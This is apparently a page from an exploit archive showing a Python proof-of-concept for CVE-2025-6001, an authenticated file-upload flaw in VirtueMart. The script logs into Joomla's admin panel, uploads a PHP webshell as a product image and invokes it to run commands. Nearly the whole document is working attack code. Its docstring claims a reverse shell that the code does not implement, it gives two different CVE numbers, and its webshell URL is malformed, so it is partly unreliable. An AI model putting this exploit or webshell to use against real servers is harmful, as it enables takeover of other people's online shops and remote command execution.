5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
Author: Schn1tzelme1ster
Title: Exploit for CVE-2025-6001 / authenticated arbitrary file upload in Virtuemart < 4.4.10

This script automates the authenticated arbitrary file upload in Virtuemart, up to version 4.4.10.
 - Log in to Joomla / Virtuemart using the given credentials.
 - Create a new product with a random name
 - Upload a php webshell as the image of the new product
 - set up a listener
 - Invoke a reverse shell using the php webshell to the provided ip + port

TODO: vulnerability check
lees uit component manifest http://192.168.74.137/administrator/components/com_virtuemart/virtuemart.xml
xpath = extension / version
"""

import argparse
import json
import logging
import sys
import tempfile
import re
import uuid

import requests
import http.client as http_client
from urllib.parse import urljoin, urlparse

from bs4 import BeautifulSoup

csrf_token = "0"
random_filename = "x"

def error(msg):
    print(f"Error: {msg}", file=sys.stderr)
    sys.exit(1)


def parse_args():
    p = argparse.ArgumentParser(description="Exploit for CVE-2025-6002 / Virtuemart Arbitrary File upload vulnerability.")
    p.add_argument("--url", required=True, help="Base URL http://xxx")
    p.add_argument("--username", required=True, help="Joomla admin username")
    p.add_argument("--password", required=True, help="Joomla admin password")
    p.add_argument("--remote-ip", required=True, help="Remote IP address")
    p.add_argument("--remote-port", required=True, help="Remote port")
    return p.parse_args()


def fmt_url(url):
    if not url.lower().startswith(("http://")):
        error("URL must start with http://")
    return url.rstrip("/")


def get_cookie_name(session, login_url):
    print("Retrieve cookie name")

    for name in session.cookies.keys():
        print(" - cookie name: " + name)

        if len(name) in (32, 64):
            return name
    return None


def get_csrf_token_from_response(html):
    print("get_csrf_token_from_response")
    soup = BeautifulSoup(html, "html.parser")

    # 1) JSON-style field
    m = re.search(r'"csrf\.token"\s*:\s*"([0-9a-fA-F]+)"', html)
    print(" - json style field: " + m.group(1))
    if m:
        return m.group(1)

    return None


def open_page(session, login_url):
    response = session.get(login_url, timeout=10)
    response.raise_for_status()

    return response

def do_login(session, base_url, username, password):
    print("Authenticate")
    login_url = urljoin(base_url, "/administrator/index.php")

    # open the login page
    login_page = open_page(session, login_url)

    # retrieve the session cookie
    cookie_name = get_cookie_name(session, login_url)
    if not cookie_name:
        error("Could not find CSRF cookie token name in GET /administrator/index.php response")

    # get csrf token from response
    global csrf_token
    csrf_token = get_csrf_token_from_response(login_page.text)

    payload = {
        "username": username,
        "passwd": password,
        "option": "com_login",
        "task": "login",
        "return": "aW5kZXgucGhw",
        csrf_token: "1",
    }
    print(" - payload: " + json.dumps(payload))
    headers = {
        "Referer": login_url,
        "Origin": base_url,
        "User-Agent": "Mozilla/5.0 (VirtueMart script)",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    }
    print(" - headers: " + json.dumps(headers))
    r = session.post(login_url, data=payload, headers=headers, timeout=10, allow_redirects=False)
    if r.status_code not in (200, 303):
        error(f"Login response status code {r.status_code}")

    if r.status_code == 303:
        location = r.headers.get("Location")
        if not location:
            error("303 response missing Location")
        if not urlparse(location).netloc:
            location = urljoin(base_url, location)
        r2 = session.get(location, headers=headers, timeout=20)
        r2.raise_for_status()
        if "administrator" not in r2.url.lower() and "logout" not in r2.text.lower():
            error("After redirect login does not look like admin page")
    else:
        if "login" in r.text.lower():
            error("Login appears to have failed (login page content returned)")
    print("Login successful.")

# Create a new product. The product image
def upload_web_shell(session, base_url):
    print("Upload the webshell")

    product_url = urljoin(base_url, "/administrator/index.php?option=com_virtuemart&view=product")

    # open the product page
    product_page = open_page(session, product_url)

    # get csrf token from response
    global csrf_token
    csrf_token = get_csrf_token_from_response(product_page.text)

    upload_url = urljoin(base_url, "/administrator/index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id=0")
    with tempfile.NamedTemporaryFile(mode="w+", suffix=".php", delete=False) as tmp:
        tmp.write("<?php system($_GET['cmd'] . ' 2>&1'); ?>")
        tmp.flush()
        tmp_name = tmp.name

    global random_filename
    random_filename = str(uuid.uuid4()) + ".php"
    print ("opening webshell php " + random_filename)

    with open(tmp_name, "rb") as fp:
        files = {
            "upload": (random_filename, fp, "text/plain")
        }

        data = {
            "product_name": "UmgekehrtBefehlInterpreter",
            "virtuemart_product_id": "0",
            "published": "1",
            csrf_token: "1",
            "task": "apply",
            "option": "com_virtuemart",
            "controller": "product",
        }
        headers = {
            "Referer": f"{base_url}/administrator/index.php?option=com_virtuemart&view=media",
            "Origin": base_url,
            "User-Agent": "Mozilla/5.0 (VirtueMart script)",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        }
        r = session.post(upload_url, files=files, data=data, headers=headers, timeout=120)
        r.raise_for_status()

    print("Upload completed, status:", r.status_code)
    print("Server response:", r.text[:800])

def get_rev_shell(session, base_url):
    print("Get reverse shell")

    global random_filename

    rev_url = urljoin(base_url, "/images/virtuemart/product/" + random_filename + "&cmd=id")
    r = session.get(rev_url, timeout=120)


def main():
    http_client.HTTPConnection.debuglevel = 1

    logging.basicConfig(level=logging.DEBUG, format="%(asctime)s %(levelname)s %(message)s")
    logging.getLogger("requests").setLevel(logging.DEBUG)
    logging.getLogger("urllib3").setLevel(logging.DEBUG)


    args = parse_args()
    base = fmt_url(args.url)

    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (VirtueMart script)",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    })

    do_login(session, base, args.username, args.password)
    upload_web_shell(session, base)
    get_rev_shell(session, base)
    print("Done.")


if __name__ == "__main__":
    main()